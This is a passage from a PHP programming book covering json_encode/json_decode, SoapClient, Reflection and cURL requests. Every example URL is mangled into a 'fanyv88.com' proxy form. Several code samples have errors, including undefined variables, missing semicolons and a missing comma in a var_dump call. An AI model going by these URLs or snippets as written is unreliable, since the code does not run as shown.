<li>Contact</li>
</ul>

<!-- Menu 2 -->

<ul class="footer-nav">
<li>Home</li>
<li>Blog</li>
<li>FAQ</li>
<li>Contact</li>
</ul>

Chapter 15: JSON

string json_encode ( mixed $value [, int $options = 0 [, int $depth = 512 ]] )
mixed json_decode ( string $json [, bool $assoc = false [, int $depth = 512 [, int $options = 0 ]]] )

Parameter Details
json_encode -
value The value being encoded. Can be any type except a resource. All string data must be UTF-8 encoded.
Bitmask consisting of JSON_HEX_QUOT, JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS,
JSON_NUMERIC_CHECK, JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES, JSON_FORCE_OBJECT,
options
JSON_PRESERVE_ZERO_FRACTION, JSON_UNESCAPED_UNICODE, JSON_PARTIAL_OUTPUT_ON_ERROR.
The behaviour of these constants is described on the JSON constants page.

Complete PHP Tips & Secrets for Professionals 83

depth Set the maximum depth. Must be greater than zero.
json_decode -
json The json string being decoded. This function only works with UTF-8 encoded strings.
assoc Should function return associative array instead of objects.
Bitmask of JSON decode options. Currently only JSON_BIGINT_AS_STRING is supported (default is to
options
cast large integers as floats)

JSON (JavaScript Object Notation) is a platform and language independent way of serializing objects into plaintext.
Because it is often used on web and so is PHP, there is a basic extension for working with JSON in PHP.

Section 15.1: Decoding a JSON string

The json_decode() function takes a JSON-encoded string as its first parameter and parses it into a PHP variable.

Normally, json_decode() will return an object of \stdClass if the top level item in the JSON object is a dictionary or
an indexed array if the JSON object is an array. It will also return scalar values or NULL for certain scalar values,
such as simple strings, "true", "false", and "null". It also returns NULL on any error.

// Returns an object (The top level item in the JSON string is a JSON dictionary)
$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$object = json_decode($json_string);
printf('Hello %s, You are %s years old.', $object->name, $object->age);
#> Hello Jeff, You are 20 years old.

// Returns an array (The top level item in the JSON string is a JSON array)
$json_string = '["Jeff", 20, true, ["red", "blue"]]';
$array = json_decode($json_string);
printf('Hello %s, You are %s years old.', $array[0], $array[1]);

Use var_dump() to view the types and values of each property on the object we decoded above.

// Dump our above $object to view how it was decoded

var_dump($object);

Output (note the variable types):

class stdClass#2 (4) {

["name"] => string(4) "Jeff"
["age"] => int(20)
["active"] => bool(true)
["colors"] =>
array(2) {
[0] => string(3) "red"
[1] => string(4) "blue"
}
}

Note: The variable types in JSON were converted to their PHP equivalent.

To return an associative array for JSON objects instead of returning an object, pass true as the second parameter
to json_decode().

$json_string = '{"name": "Jeff", "age": 20, "active": true, "colors": ["red", "blue"]}';
$array = json_decode($json_string, true); // Note the second parameter
var_dump($array);

Output (note the array associative structure):

array(4) {
["name"] => string(4) "Jeff"

Complete PHP Tips & Secrets for Professionals 84

 ["age"] => int(20)
["active"] => bool(true)
["colors"] =>
array(2) {
[0] => string(3) "red"
[1] => string(4) "blue"
}
}

The second parameter ($assoc) has no effect if the variable to be returned is not an object.

Note: If you use the $assoc parameter, you will lose the distinction between an empty array and an empty object.
This means that running json_encode() on your decoded output again, will result in a different JSON structure.

If the JSON string has a "depth" more than 512 elements (20 elements in versions older than 5.2.3, or 128 in version
5.2.3) in recursion, the function json_decode() returns NULL. In versions 5.3 or later, this limit can be controlled
using the third parameter ($depth), as discussed below.

According to the manual:

PHP implements a superset of JSON as specified in the original » RFC 4627 - it will also encode and decode scalar
types and NULL. RFC 4627 only supports these values when they are nested inside an array or an object. Although
this superset is consistent with the expanded definition of "JSON text" in the newer » RFC 7159 (which aims to
supersede RFC 4627) and » ECMA-404, this may cause interoperability issues with older JSON parsers that adhere
strictly to RFC 4627 when encoding a single scalar value.

This means, that, for example, a simple string will be considered to be a valid JSON object in PHP:

$json = json_decode('"some string"', true);

var_dump($json, json_last_error_msg());

Output:

string(11) "some string"

string(8) "No error"

But simple strings, not in an array or object, are not part of the RFC 4627 standard. As a result, such online checkers
as JSLint, JSON Formatter & Validator (in RFC 4627 mode) will give you an error.

There is a third $depth parameter for the depth of recursion (the default value is 512), which means the amount of
nested objects inside the original object to be decoded.

There is a fourth $options parameter. It currently accepts only one value, JSON_BIGINT_AS_STRING. The default
behavior (which leaves off this option) is to cast large integers to floats instead of strings.

Invalid non-lowercased variants of the true, false and null literals are no longer accepted as valid input.

So this example:

var_dump(json_decode('tRue'), json_last_error_msg());
var_dump(json_decode('tRUe'), json_last_error_msg());
var_dump(json_decode('tRUE'), json_last_error_msg());
var_dump(json_decode('TRUe'), json_last_error_msg());
var_dump(json_decode('TRUE'), json_last_error_msg());
var_dump(json_decode('true'), json_last_error_msg());

Before PHP 5.6:

bool(true)

Complete PHP Tips & Secrets for Professionals 85

string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"
bool(true)
string(8) "No error"

And after:

NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
NULL
string(12) "Syntax error"
bool(true)
string(8) "No error"

Similar behavior occurs for false and null.

Note that json_decode() will return NULL if the string cannot be converted.

$json = "{'name': 'Jeff', 'age': 20 }" ; // invalid json

$person = json_decode($json);
echo $person->name; // Notice: Trying to get property of non-object: returns null
echo json_last_error();
# 4 (JSON_ERROR_SYNTAX)
echo json_last_error_msg();
# unexpected character

It is not safe to rely only on the return value being NULL to detect errors. For example, if the JSON string contains
nothing but "null", json_decode() will return null, even though no error occurred.

Section 15.2: Encoding a JSON string

The json_encode function will convert a PHP array (or, since PHP 5.4, an object which implements the
JsonSerializable interface) to a JSON-encoded string. It returns a JSON-encoded string on success or FALSE on
failure.

$array = [
'name' => 'Jeff',
'age' => 20,
'active' => true,
'colors' => ['red', 'blue'],
'values' => [0=>'foo', 3=>'bar'],
];

During encoding, the PHP data types string, integer, and boolean are converted to their JSON equivalent.
Associative arrays are encoded as JSON objects, and – when called with default arguments – indexed arrays are
encoded as JSON arrays. (Unless the array keys are not a continuous numeric sequence starting from 0, in which

Complete PHP Tips & Secrets for Professionals 86

case the array will be encoded as a JSON object.)

echo json_encode($array);

Output:

{"name":"Jeff","age":20,"active":true,"colors":["red","blue"],"values":{"0":"foo","3":"bar"}}
Arguments

Since PHP 5.3, the second argument to json_encode is a bitmask which can be one or more of the following.

As with any bitmask, they can be combined with the binary OR operator |.

PHP 5.x Version≥5.3

JSON_FORCE_OBJECT

Forces the creation of an object instead of an array

$array = ['Joel', 23, true, ['red', 'blue']];

echo json_encode($array);
echo json_encode($array, JSON_FORCE_OBJECT);

Output:

["Joel",23,true,["red","blue"]]
{"0":"Joel","1":23,"2":true,"3":{"0":"red","1":"blue"}}
JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_APOS, JSON_HEX_QUOT

Ensures the following conversions during encoding:

Constant Input Output

JSON_HEX_TAG < \u003C
JSON_HEX_TAG > \u003E
JSON_HEX_AMP & \u0026
JSON_HEX_APOS ' \u0027
JSON_HEX_QUOT " \u0022
$array = ["tag"=>"<>", "amp"=>"&", "apos"=>"'", "quot"=>"\""];
echo json_encode($array);
echo json_encode($array, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);

Output:

{"tag":"<>","amp":"&","apos":"'","quot":"\""}
{"tag":"\u003C\u003E","amp":"\u0026","apos":"\u0027","quot":"\u0022"}
PHP 5.x Version≥5.3
JSON_NUMERIC_CHECK

Ensures numeric strings are converted to integers.

$array = ['23452', 23452];

echo json_encode($array);
echo json_encode($array, JSON_NUMERIC_CHECK);

Output:

["23452",23452]
[23452,23452]
PHP 5.x Version≥5.4
JSON_PRETTY_PRINT

Complete PHP Tips & Secrets for Professionals 87

Makes the JSON easily readable

$array = ['a' => 1, 'b' => 2, 'c' => 3, 'd' => 4];
echo json_encode($array);
echo json_encode($array, JSON_PRETTY_PRINT);

Output:

{"a":1,"b":2,"c":3,"d":4}
{
"a": 1,
"b": 2,
"c": 3,
"d": 4
}
JSON_UNESCAPED_SLASHES

Includes unescaped / forward slashes in the output

$array = ['filename' => 'example.txt', 'path' => '/full/path/to/file/'];

echo json_encode($array);
echo json_encode($array, JSON_UNESCAPED_SLASHES);

Output:

{"filename":"example.txt","path":"\/full\/path\/to\/file"}
{"filename":"example.txt","path":"/full/path/to/file"}
JSON_UNESCAPED_UNICODE

Includes UTF8-encoded characters in the output instead of \u-encoded strings

$blues = ["english"=>"blue", "norwegian"=>"blå", "german"=>"blau"];

echo json_encode($blues);
echo json_encode($blues, JSON_UNESCAPED_UNICODE);

Output:

{"english":"blue","norwegian":"bl\u00e5","german":"blau"}
{"english":"blue","norwegian":"blå","german":"blau"}
PHP 5.x Version≥5.5
JSON_PARTIAL_OUTPUT_ON_ERROR

Allows encoding to continue if some unencodable values are encountered.

$fp = fopen("foo.txt", "r");

$array = ["file"=>$fp, "name"=>"foo.txt"];
echo json_encode($array); // no output
echo json_encode($array, JSON_PARTIAL_OUTPUT_ON_ERROR);

Output:

{"file":null,"name":"foo.txt"}
PHP 5.x Version≥5.6
JSON_PRESERVE_ZERO_FRACTION

Ensures that floats are always encoded as floats.

$array = [5.0, 5.5];

echo json_encode($array);
echo json_encode($array, JSON_PRESERVE_ZERO_FRACTION);

Complete PHP Tips & Secrets for Professionals 88

Output:

[5,5.5]
[5.0,5.5]
PHP 7.x Version≥7.1
JSON_UNESCAPED_LINE_TERMINATORS

When used with JSON_UNESCAPED_UNICODE, reverts to the behaviour of older PHP versions, and does not escape the
characters U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR. Although valid in JSON, these characters
are not valid in JavaScript, so the default behaviour of JSON_UNESCAPED_UNICODE was changed in version 7.1.

$array = ["line"=>"\xe2\x80\xa8", "paragraph"=>"\xe2\x80\xa9"];

echo json_encode($array, JSON_UNESCAPED_UNICODE);
echo json_encode($array, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_LINE_TERMINATORS);

Output:

{"line":"\u2028","paragraph":"\u2029"}
{"line":"?","paragraph":"?"}

Section 15.3: Debugging JSON errors

When json_encode or json_decode fails to parse the string provided, it will return false. PHP itself will not raise
any errors or warnings when this happens, the onus is on the user to use the json_last_error() and
json_last_error_msg() functions to check if an error occurred and act accordingly in your application (debug it, show
an error message, etc.).

The following example shows a common error when working with JSON, a failure to decode/encode a JSON string
(due to the passing of a bad UTF-8 encoded string, for example).

// An incorrectly formed JSON string

$jsonString = json_encode("{'Bad JSON':\xB1\x31}");

if (json_last_error() != JSON_ERROR_NONE) {
printf("JSON Error: %s", json_last_error_msg());
}

#> JSON Error: Malformed UTF-8 characters, possibly incorrectly encoded

json_last_error_msg

json_last_error_msg() returns a human readable message of the last error that occurred when trying to
encode/decode a string.

This function will always return a string, even if no error occurred.

The default non-error string is No Error
It will return false if some other (unknown) error occurred
Careful when using this in loops, as json_last_error_msg will be overridden on each iteration.

You should only use this function to get the message for display, not to test against in control statements.

// Don't do this:
if (json_last_error_msg()){} // always true (it's a string)
if (json_last_error_msg() != "No Error"){} // Bad practice

// Do this: (test the integer against one of the pre-defined constants)

if (json_last_error() != JSON_ERROR_NONE) {
// Use json_last_error_msg to display the message only, (not test against it)
printf("JSON Error: %s", json_last_error_msg());
}

Complete PHP Tips & Secrets for Professionals 89

This function doesn't exist before PHP 5.5. Here is a polyfill implementation:

if (!function_exists('json_last_error_msg')) {
function json_last_error_msg() {
static $ERRORS = array(
JSON_ERROR_NONE => 'No error',
JSON_ERROR_DEPTH => 'Maximum stack depth exceeded',
JSON_ERROR_STATE_MISMATCH => 'State mismatch (invalid or malformed JSON)',
JSON_ERROR_CTRL_CHAR => 'Control character error, possibly incorrectly encoded',
JSON_ERROR_SYNTAX => 'Syntax error',
JSON_ERROR_UTF8 => 'Malformed UTF-8 characters, possibly incorrectly encoded'
);

$error = json_last_error();
return isset($ERRORS[$error]) ? $ERRORS[$error] : 'Unknown error';
}
}
json_last_error

json_last_error() returns an integer mapped to one of the pre-defined constants provided by PHP.

Constant Meaning
JSON_ERROR_NONE No error has occurred
JSON_ERROR_DEPTH The maximum stack depth has been exceeded
JSON_ERROR_STATE_MISMATCH Invalid or malformed JSON
JSON_ERROR_CTRL_CHAR Control character error, possibly incorrectly encoded
JSON_ERROR_SYNTAX Syntax error (since PHP 5.3.3)
JSON_ERROR_UTF8 Malformed UTF-8 characters, possibly incorrectly encoded (since PHP 5.5.0)
JSON_ERROR_RECURSION One or more recursive references in the value to be encoded
JSON_ERROR_INF_OR_NAN One or more NAN or INF values in the value to be encoded
JSON_ERROR_UNSUPPORTED_TYPE A value of a type that cannot be encoded was given

Section 15.4: Using JsonSerializable in an Object

PHP 5.x Version≥5.4

When you build REST API's, you may need to reduce the information of an object to be passed to the client
application. For this purpose, this example illustrates how to use the JsonSerialiazble interface.

In this example, the class User actually extends a DB model object of a hypotetical ORM.

class User extends Model implements JsonSerializable {

public $id;
public $name;
public $surname;
public $username;
public $password;
public $email;
public $date_created;
public $date_edit;
public $role;
public $status;

public function jsonSerialize() {

return [
'name' => $this->name,
'surname' => $this->surname,
'username' => $this->username
];
}

Complete PHP Tips & Secrets for Professionals 90

}

Add JsonSerializable implementation to the class, by providing the jsonSerialize() method.

public function jsonSerialize()

Now in your application controller or script, when passing the object User to json_encode() you will get the return
json encoded array of the jsonSerialize() method instead of the entire object.

json_encode($User);

Will return:

{"name":"John", "surname":"Doe", "username" : "TestJson"}

properties values example.

This will both reduce the amount of data returned from a RESTful endpoint, and allow to exclude object properties
from a json representation.

Using Private and Protected Properties with json_encode()

To avoid using JsonSerializable, it is also possible to use private or protected properties to hide class information
from json_encode() output. The Class then does not need to implement \JsonSerializable.

The json_encode() function will only encode public properties of a class into JSON.

<?php

class User {
// private properties only within this class
private $id;
private $date_created;
private $date_edit;

// properties used in extended classes

protected $password;
protected $email;
protected $role;
protected $status;

// share these properties with the end user

public $name;
public $surname;
public $username;

// jsonSerialize() not needed here

}

$theUser = new User();

var_dump(json_encode($theUser));
Output:
string(44) "{"name":null,"surname":null,"username":null}"

Section 15.5: Header json and the returned response

By adding a header with content type as JSON:

<?php
$result = array('menu1' => 'home', 'menu2' => 'code php', 'menu3' => 'about');

Complete PHP Tips & Secrets for Professionals 91

//return the json response :
header('Content-Type: application/json'); // <-- header declaration
echo json_encode($result, true); // <--- encode
exit();

The header is there so your app can detect what data was returned and how it should handle it.
Note that : the content header is just information about type of returned data.

If you are using UTF-8, you can use :

header("Content-Type: application/json;charset=utf-8");

Example jQuery :

$.ajax({
url:'url_your_page_php_that_return_json'
}).done(function(data){
console.table('json ',data);
console.log('Menu1 : ', data.menu1);
});

Chapter 16: SOAP Client

__getFunctions() // Returns array of functions for service (WSDL mode only)
__getTypes() // Returns array of types for service (WSDL mode only)
__getLastRequest() // Returns XML from last request (Requires trace option)
__getLastRequestHeaders() // Returns headers from last request (Requires trace option)
__getLastResponse() // Returns XML from last response (Requires trace option)
__getLastResponseHeaders() // Returns headers from last response (Requires trace option)

Parameter Details
$wsdl URI of WSDL or NULL if using non-WSDL mode
Array of options for SoapClient. Non-WSDL mode requires location and uri to set, all other options
$options
are optional. See table below for possible values.

Section 16.1: WSDL Mode

First, create a new SoapClient object, passing the URL to the WSDL file and optionally, an array of options.

// Create a new client object using a WSDL URL

$soap = new SoapClient('https://example.com/soap.wsdl', [
# This array and its values are optional
'soap_version' => SOAP_1_2,
'compression' => SOAP_COMPRESSION_ACCEPT | SOAP_COMPRESSION_GZIP,
'cache_wsdl' => WSDL_CACHE_BOTH,
# Helps with debugging
'trace' => TRUE,
'exceptions' => TRUE
]);

Then use the $soap object to call your SOAP methods.

$result = $soap->requestData(['a', 'b', 'c']);

Section 16.2: Non-WSDL Mode

This is similar to WSDL mode, except we pass NULL as the WSDL file and make sure to set the location and uri
options.

Complete PHP Tips & Secrets for Professionals 92

$soap = new SoapClient(NULL, [
'location' => 'https://example.com/soap/endpoint',
'uri' => 'namespace'
]);

Section 16.3: Classmaps

When creating a SOAP Client in PHP, you can also set a classmap key in the configuration array. This classmap
defines which types defined in the WSDL should be mapped to actual classes, instead of the default StdClass. The
reason you would want to do this is because you can get auto-completion of fields and method calls on these
classes, instead of having to guess which fields are set on the regular StdClass.

class MyAddress {
public $country;
public $city;
public $full_name;
public $postal_code; // or zip_code
public $house_number;
}

class MyBook {
public $name;
public $author;

// The classmap also allows us to add useful functions to the objects

// that are returned from the SOAP operations.
public function getShortDescription() {
return "{$this->name}, written by {$this->author}";
}
}

$soap_client = new SoapClient($link_to_wsdl, [

// Other parameters
"classmap" => [
"Address" => MyAddress::class, // ::class simple returns class as string
"Book" => MyBook::class,
]
]);

After configuring the classmap, whenever you perform a certain operation that returns a type Address or Book, the
SoapClient will instantiate that class, fill the fields with the data and return it from the operation call.

// Lets assume 'getAddress(1234)' returns an Address by ID in the database

$address = $soap_client->getAddress(1234);

// $address is now of type MyAddress due to the classmap

echo $address->country;

// Lets assume the same for 'getBook(1234)'

$book = $soap_client->getBook(124);

// We can not use other functions defined on the MyBook class

echo $book->getShortDescription();

// Any type defined in the WSDL that is not defined in the classmap
// will become a regular StdClass object
$author = $soap_client->getAuthor(1234);

// No classmap for Author type, $author is regular StdClass.

// We can still access fields, but no auto-completion and no custom functions
// to define for the objects.

Complete PHP Tips & Secrets for Professionals 93

echo $author->name;

Section 16.4: Tracing SOAP request and response

Sometimes we want to look at what is sent and received in the SOAP request. The following methods will return the
XML in the request and response:

SoapClient::__getLastRequest()
SoapClient::__getLastRequestHeaders()
SoapClient::__getLastResponse()
SoapClient::__getLastResponseHeaders()

For example, suppose we have an ENVIRONMENT constant and when this constant's value is set to DEVELOPMENT we
want to echo all information when the call to getAddress throws an error. One solution could be:

try {
$address = $soap_client->getAddress(1234);
} catch (SoapFault $e) {
if (ENVIRONMENT === 'DEVELOPMENT') {
var_dump(
$soap_client->__getLastRequestHeaders()
$soap_client->__getLastRequest(),
$soap_client->__getLastResponseHeaders(),
$soap_client->__getLastResponse()
);
}
...
}

Chapter 17: Reflection

Section 17.1: Feature detection of classes or objects
Feature detection of classes can partly be done with the property_exists and method_exists functions.

class MyClass {
public $public_field;
protected $protected_field;
private $private_field;
static $static_field;
const CONSTANT = 0;
public function public_function() {}
protected function protected_function() {}
private function private_function() {}
static function static_function() {}
}

// check properties
$check = property_exists('MyClass', 'public_field'); // true
$check = property_exists('MyClass', 'protected_field'); // true
$check = property_exists('MyClass', 'private_field'); // true, as of PHP 5.3.0
$check = property_exists('MyClass', 'static_field'); // true
$check = property_exists('MyClass', 'other_field'); // false

// check methods
$check = method_exists('MyClass', 'public_function'); // true
$check = method_exists('MyClass', 'protected_function'); // true
$check = method_exists('MyClass', 'private_function'); // true
$check = method_exists('MyClass', 'static_function'); // true

// however...

Complete PHP Tips & Secrets for Professionals 94

$check = property_exists('MyClass', 'CONSTANT'); // false
$check = property_exists($object, 'CONSTANT'); // false

With a ReflectionClass, also constants can be detected:

$r = new ReflectionClass('MyClass');
$check = $r->hasProperty('public_field'); // true
$check = $r->hasMethod('public_function'); // true
$check = $r->hasConstant('CONSTANT'); // true
// also works for protected, private and/or static members.

Note: for property_exists and method_exists, also an object of the class of interest can be provided instead of the
class name. Using reflection, the ReflectionObject class should be used instead of ReflectionClass.

Section 17.2: Testing private/protected methods

Sometimes it's useful to test private & protected methods as well as public ones.

class Car
{
/**
* @param mixed $argument
*
* @return mixed
*/
protected function drive($argument)
{
return $argument;
}

/**
* @return bool
*/
private static function stop()
{
return true;
}
}

Easiest way to test drive method is using reflection

class DriveTest
{
/**
* @test
*/
public function testDrive()
{
// prepare
$argument = 1;
$expected = $argument;
$car = new \Car();

$reflection = new ReflectionClass(\Car::class);

$method = $reflection->getMethod('drive');
$method->setAccessible(true);

// invoke logic
$result = $method->invokeArgs($car, [$argument]);

// test
$this->assertEquals($expected, $result);

Complete PHP Tips & Secrets for Professionals 95

 }
}

If the method is static you pass null in the place of the class instance

class StopTest
{
/**
* @test
*/
public function testStop()
{
// prepare
$expected = true;

$reflection = new ReflectionClass(\Car::class);

$method = $reflection->getMethod('stop');
$method->setAccessible(true);

// invoke logic
$result = $method->invoke(null);

// test
$this->assertEquals($expected, $result);
}
}

Section 17.3: Accessing private and protected member variables

Reflection is often used as part of software testing, such as for the runtime creation/instantiation of mock objects.
It's also great for inspecting the state of an object at any given point in time. Here's an example of using Reflection
in a unit test to verify a protected class member contains the expected value.

Below is a very basic class for a Car. It has a protected member variable that will contain the value representing the
color of the car. Because the member variable is protected we cannot access it directly and must use a getter and
setter method to retrieve and set its value respectively.

class Car
{
protected $color

public function setColor($color)

{
$this->color = $color;
}

public function getColor($color)

{
return $this->color;
}
}

To test this many developers will create a Car object, set the car's color using Car::setColor(), retrieve the color
using Car::getColor(), and compare that value to the color they set:

/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{

Complete PHP Tips & Secrets for Professionals 96

 $color = 'Red';

$car = new \Car();

$car->setColor($color);
$getColor = $car->getColor();

$this->assertEquals($color, $reflectionColor);
}

On the surface this seems okay. After all, all Car::getColor() does is return the value of the protected member
variable Car::$color. But this test is flawed in two ways:

1. It exercises Car::getColor() which is out of the scope of this test

2. It depends on Car::getColor() which may have a bug itself which can make the test have a false positive or
negative

Let's look at why we shouldn't use Car::getColor() in our unit test and should use Reflection instead. Let's say a
developer is assigned a task to add "Metallic" to every car color. So they attempt to modify the Car::getColor() to
prepend "Metallic" to the car's color:

class Car
{
protected $color

public function setColor($color)

{
$this->color = $color;
}

public function getColor($color)

{
return "Metallic "; $this->color;
}
}

Do you see the error? The developer used a semi-colon instead of the concatenation operator in an attempt to
prepend "Metallic" to the car's color. As a result, whenever Car::getColor() is called, "Metallic " will be returned
regardless of what the car's actual color is. As a result our Car::setColor() unit test will fail even though
Car::setColor() works perfectly fine and was not affected by this change.

So how do we verify Car::$color contains the value we are setting via Car::setColor()? We can use Refelection to
inspect the protected member variable directly. So how do we do that? We can use Refelection to make the
protected member variable accessible to our code so it can retrieve the value.

Let's see the code first and then break it down:

/**
* @test
* @covers \Car::setColor
*/
public function testSetColor()
{
$color = 'Red';

$car = new \Car();

$car->setColor($color);

$reflectionOfCar = new \ReflectionObject($car);

$protectedColor = $reflectionOfForm->getProperty('color');

Complete PHP Tips & Secrets for Professionals 97

 $protectedColor->setAccessible(true);
$reflectionColor = $protectedColor->getValue($car);

$this->assertEquals($color, $reflectionColor);
}

Here is how we are using Reflection to get the value of Car::$color in the code above:

1. We create a new ReflectionObject representing our Car object

2. We get a ReflectionProperty for Car::$color (this "represents" the Car::$color variable)
3. We make Car::$color accessible
4. We get the value of Car::$color

As you can see by using Reflection we could get the value of Car::$color without having to call Car::getColor() or
any other accessor function which could cause invalid test results. Now our unit test for Car::setColor() is safe
and accurate.

Chapter 18: Using cURL in PHP

resource curl_init ([ string $url = NULL ] )
bool curl_setopt ( resource $ch , int $option , mixed $value )
bool curl_setopt_array ( resource $ch, array $options )
mixed curl_exec ( resource $ch )
void curl_close ( resource $ch )

Parameter Details
curl_init -- Initialize a cURL session
url The url to be used in the cURL request
curl_setopt -- Set an option for a cURL transfer
ch The cURL handle (return value from curl_init())
option CURLOPT_XXX to be set - see PHP documentation for the list of options and acceptable values
value The value to be set on the cURL handle for the given option
curl_exec -- Perform a cURL session
ch The cURL handle (return value from curl_init())
curl_close -- Close a cURL session
ch The cURL handle (return value from curl_init())

Section 18.1: Basic Usage (GET Requests)

cURL is a tool for transferring data with URL syntax. It support HTTP, FTP, SCP and many others(curl >= 7.19.4).
Remember, you need to install and enable the cURL extension to use it.

// a little script check is the cURL extension loaded or not

if(!extension_loaded("curl")) {
die("cURL extension not loaded! Quit Now.");
}

// Actual script start

// create a new cURL resource

// $curl is the handle of the resource
$curl = curl_init();

// set the URL and other options

curl_setopt($curl, CURLOPT_URL, "http://www.example.com");

// execute and pass the result to browser

Complete PHP Tips & Secrets for Professionals 98

curl_exec($curl);

// close the cURL resource

curl_close($curl);

Section 18.2: POST Requests

If you want to mimic HTML form POST action, you can use cURL.

// POST data in array

$post = [
'a' => 'apple',
'b' => 'banana'
];

// Create a new cURL resource with URL to POST

$ch = curl_init('http://www.example.com');

// We set parameter CURLOPT_RETURNTRANSFER to read output

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Let's pass POST data

curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

// We execute our request, and get output in a $response variable

$response = curl_exec($ch);

// Close the connection

curl_close($ch);

Section 18.3: Using Cookies

cURL can keep cookies received in responses for use with subsequent requests. For simple session cookie handling
in memory, this is achieved with a single line of code:

curl_setopt($ch, CURLOPT_COOKIEFILE, "");

In cases where you are required to keep cookies after the cURL handle is destroyed, you can specify the file to store
them in:

curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookies.txt");

Then, when you want to use them again, pass them as the cookie file:

curl_setopt($ch, CURLOPT_COOKIEFILE, "/tmp/cookies.txt");

Remember, though, that these two steps are not necessary unless you need to carry cookies between different
cURL handles. For most use cases, setting CURLOPT_COOKIEFILE to the empty string is all you need.

Cookie handling can be used, for example, to retrieve resources from a web site that requires a login. This is
typically a two-step procedure. First, POST to the login page.

<?php

# create a cURL handle

$ch = curl_init();

# set the URL (this could also be passed to curl_init() if desired)

curl_setopt($ch, CURLOPT_URL, "https://www.example.com/login.php");

# set the HTTP method to POST

Complete PHP Tips & Secrets for Professionals 99

curl_setopt($ch, CURLOPT_POST, true);

# setting this option to an empty string enables cookie handling

# but does not load cookies from a file
curl_setopt($ch, CURLOPT_COOKIEFILE, "");

# set the values to be sent

curl_setopt($ch, CURLOPT_POSTFIELDS, array(
"username"=>"joe_bloggs",
"password"=>"$up3r_$3cr3t",
));

# return the response body

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

# send the request

$result = curl_exec($ch);

The second step (after standard error checking is done) is usually a simple GET request. The important thing is to
reuse the existing cURL handle for the second request. This ensures the cookies from the first response will be
automatically included in the second request.

# we are not calling curl_init()

# simply change the URL

curl_setopt($ch, CURLOPT_URL, "https://www.example.com/show_me_the_foo.php");

# change the method back to GET

curl_setopt($ch, CURLOPT_HTTPGET, true);

# send the request

$result = curl_exec($ch);

# finished with cURL

curl_close($ch);

# do stuff with $result...

This is only intended as an example of cookie handling. In real life, things are usually more complicated. Often you
must perform an initial GET of the login page to pull a login token that needs to be included in your POST. Other
sites might block the cURL client based on its User-Agent string, requiring you to change it.

Section 18.4: Using multi_curl to make multiple POST requests

Sometimes we need to make a lot of POST requests to one or many different endpoints. To deal with this scenario,
we can use multi_curl.

First of all, we create how many requests as needed exactly in the same way of the simple example and put them in
an array.

We use the curl_multi_init and add each handle to it.

In this example, we are using 2 different endpoints:

//array of data to POST

$request_contents = array();
//array of URLs
$urls = array();
//array of cURL handles
$chs = array();

Complete PHP Tips & Secrets for Professionals 100

//first POST content
$request_contents[] = [
'a' => 'apple',
'b' => 'banana'
];
//second POST content
$request_contents[] = [
'a' => 'fish',
'b' => 'shrimp'
];
//set the urls
$urls[] = 'http://www.example.com';
$urls[] = 'http://www.example2.com';

//create the array of cURL handles and add to a multi_curl

$mh = curl_multi_init();
foreach ($urls as $key => $url) {
$chs[$key] = curl_init($url);
curl_setopt($chs[$key], CURLOPT_RETURNTRANSFER, true);
curl_setopt($chs[$key], CURLOPT_POST, true);
curl_setopt($chs[$key], CURLOPT_POSTFIELDS, $request_contents[$key]);

curl_multi_add_handle($mh, $chs[$key]);
}

Then, we use curl_multi_exec to send the requests

//running the requests

$running = null;
do {
curl_multi_exec($mh, $running);
} while ($running);

//getting the responses

foreach(array_keys($chs) as $key){
$error = curl_error($chs[$key]);
$last_effective_URL = curl_getinfo($chs[$key], CURLINFO_EFFECTIVE_URL);
$time = curl_getinfo($chs[$key], CURLINFO_TOTAL_TIME);
$response = curl_multi_getcontent($chs[$key]); // get results
if (!empty($error)) {
echo "The request $key return a error: $error" . "\n";
}
else {
echo "The request to '$last_effective_URL' returned '$response' in $time seconds." . "\n";
}

curl_multi_remove_handle($mh, $chs[$key]);
}

// close current handler

curl_multi_close($mh);

A possible return for this example could be:

The request to 'http://www.example.com' returned 'fruits' in 2 seconds.

The request to 'http://www.example2.com' returned 'seafood' in 5 seconds.

Section 18.5: Sending multi-dimensional data and multiple files with

CurlFile in one request

Complete PHP Tips & Secrets for Professionals 101

Let's say we have a form like the one below. We want to send the data to our webserver via AJAX and from there to
a script running on an external server.

So we have normal inputs, a multi-select field and a file dropzone where we can upload multiple files.

Assuming the AJAX POST request was successful we get the following data on PHP site:

// print_r($_POST)

Array
(
[first_name] => John
[last_name] => Doe
[activities] => Array
(
[0] => soccer
[1] => hiking
)
)

and the files should look like this

// print_r($_FILES)

Array
(
[upload] => Array
(
[name] => Array
(
[0] => my_photo.jpg

Complete PHP Tips & Secrets for Professionals 102

 [1] => my_life.pdf
)

[type] => Array

(
[0] => image/jpg
[1] => application/pdf
)

[tmp_name] => Array

(
[0] => /tmp/phpW5spji
[1] => /tmp/phpWgnUeY
)

[error] => Array

(
[0] => 0
[1] => 0
)

[size] => Array

(
[0] => 647548
[1] => 643223
)

So far, so good. Now we want to send this data and files to the external server using cURL with the CurlFile Class

Since cURL only accepts a simple but not a multi-dimensional array, we have to flatten the $_POST array first.

To do this, you could use this function for example which gives you the following:

// print_r($new_post_array)

Array
(
[first_name] => John
[last_name] => Doe
[activities[0]] => soccer
[activities[1]] => hiking
)

The next step is to create CurlFile Objects for the uploaded files. This is done by the following loop:

$files = array();

foreach ($_FILES["upload"]["error"] as $key => $error) {

